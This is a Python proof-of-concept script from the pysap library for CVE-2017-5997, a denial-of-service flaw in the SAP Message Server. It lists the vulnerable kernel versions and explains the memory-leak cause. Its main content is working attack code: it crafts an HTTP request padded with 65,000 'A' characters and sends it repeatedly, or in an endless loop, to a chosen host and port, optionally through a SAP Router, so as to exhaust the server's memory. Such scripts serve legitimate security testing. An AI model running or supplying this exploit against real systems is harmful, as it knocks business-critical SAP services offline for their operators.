#!/usr/bin/env python
# ===========
# pysap - Python library for crafting SAP's network protocols packets
#
# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
#
# The library was designed and developed by Martin Gallo from
# the SecureAuth Labs team.
#
# Vulnerability found by Mathieu Geli
# PoC by Vahagn Vardanyan
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# ==============

"""
Vulnerable SAP Kernel versions

SAP KERNEL 7.21 32-BIT UNICODE
SAP KERNEL 7.21 32-BITSP716
SAP KERNEL 7.21 64-BIT UNICODE
SAP KERNEL 7.21 64-BITSP716
SAP KERNEL 7.21 EXT 32-BIT
SAP KERNEL 7.21 EXT 32-BIT UC
SAP KERNEL 7.21 EXT 64-BIT
SAP KERNEL 7.21 EXT 64-BIT UC
SAP KERNEL 7.22 64-BIT
SAP KERNEL 7.22 64-BIT UNICODE
SAP KERNEL 7.22 EXT 64-BIT
SAP KERNEL 7.22 EXT 64-BIT UC
SAP KERNEL 7.42 64-BIT
SAP KERNEL 7.42 64-BIT UNICODE
SAP KERNEL 7.45 64-BIT
SAP KERNEL 7.45 64-BIT UNICODE
SAP KERNEL 7.49 64-BIT UNICODE

TECHNICAL DESCRIPTION
The message server doesn't free properly the resources allocation for handling the clients
request in the case where the requests size is between 4k and 65k. In this special case,
the server answers with an empty reply as opposed to the case where the request is greater
than 65k, then the server will reset the connection. The following shows log of the msgserver
process being killed because of too much memory allocated:

[4721576.189056] Out of memory: Kill process 14223 (ms.sapJ45_SCS01) score 243 or sacrifice child
[4721576.189058] Killed process 14223 (ms.sapJ45_SCS01) total-vm:3321508kB, anon-rss:2468184kB, file-rss:0kB

example:
python ms_dos_exploit.py -d SAP_SERVER -p 8101 --route-string ROUTE_STRING -v
"""

# Standard imports
import logging
from time import sleep
from argparse import ArgumentParser
from socket import error as SocketError
# External imports
import pysap
# Custom imports
from scapy.config import conf
from pysap.SAPRouter import SAPRoutedStreamSocket, ROUTER_TALK_MODE_NI_RAW_IO

# Set the verbosity to 0
conf.verb = 0


# Command line options parser
def parse_options():

    description = "This example script can be used to tests against CVE-2017-5997 Denial of Service vulnerability" \
                  "affecting the Message Server. For more details about the vulnerability see Advisory " \
                  "https://erpscan.com/advisories/erpscan-16-038-sap-message-server-http-remote-dos/ and SAP " \
                  "Security Note 2358972 (https://launchpad.support.sap.com/#/notes/2358972)"

    usage = "%(prog)s [options] -d <remote host>"

    parser = ArgumentParser(usage=usage, description=description, epilog=pysap.epilog)

    target = parser.add_argument_group("Target")
    target.add_argument("-d", "--remote-host", dest="remote_host",
                        help="Remote host")
    target.add_argument("-p", "--remote-port", dest="remote_port", type=int, default=8101,
                        help="Remote port [%(default)d]")
    target.add_argument("--route-string", dest="route_string",
                        help="Route string for connecting through a SAP Router")

    misc = parser.add_argument_group("Misc options")
    misc.add_argument("-v", "--verbose", dest="verbose", action="store_true", help="Verbose output")
    misc.add_argument("-l", "--loop", dest="loop", action="store_true",
                      help="Loop until the user cancel (Ctrl+C)")
    misc.add_argument("-n", "--number", dest="number", type=int, default=10,
                      help="Number of packets to send [%(default)d]")
    misc.add_argument("-t", "--time", dest="delay", type=float, default=5.0,
                      help="Time to wait between each round [%(default)f]")
    misc.add_argument("--terminal", dest="terminal", default=None,
                      help="Terminal name")

    options = parser.parse_args()

    if not (options.remote_host or options.route_string):
        parser.error("Remote host or route string is required")

    return options


def send_crash(host, port, item, verbose, route=None):
    # Create the connection to the SAP Netweaver server
    if verbose:
        print("[*] Sending crash")
    # Initiate the connection
    conn = SAPRoutedStreamSocket.get_nisocket(host, port, route, talk_mode=ROUTER_TALK_MODE_NI_RAW_IO)
    conn.send(item)
    conn.close()


# Main function
def main():
    options = parse_options()

    if options.verbose:
        logging.basicConfig(level=logging.DEBUG)

    print("[*] Testing Message Server CVE-2017-5997 DoS vulnerability on host %s:%d" % (options.remote_host,
                                                                                        options.remote_port))

    # Crafting the item
    item = "GET /msgserver/html/group?group=" + "A" * 65000 + " HTTP/1.0\r\n"

    try:
        if options.loop:
            try:
                while True:
                    send_crash(options.remote_host, options.remote_port, item, options.verbose, options.route_string)
                    sleep(options.delay)
            except KeyboardInterrupt:
                print("[*] Cancelled by the user")
        else:
            for i in range(options.number):
                send_crash(options.remote_host, options.remote_port, item, options.verbose, options.route_string)
                sleep(options.delay)

    except SocketError:
        print("[*] Connection error, take a look at the message server process !")


if __name__ == "__main__":
    main()
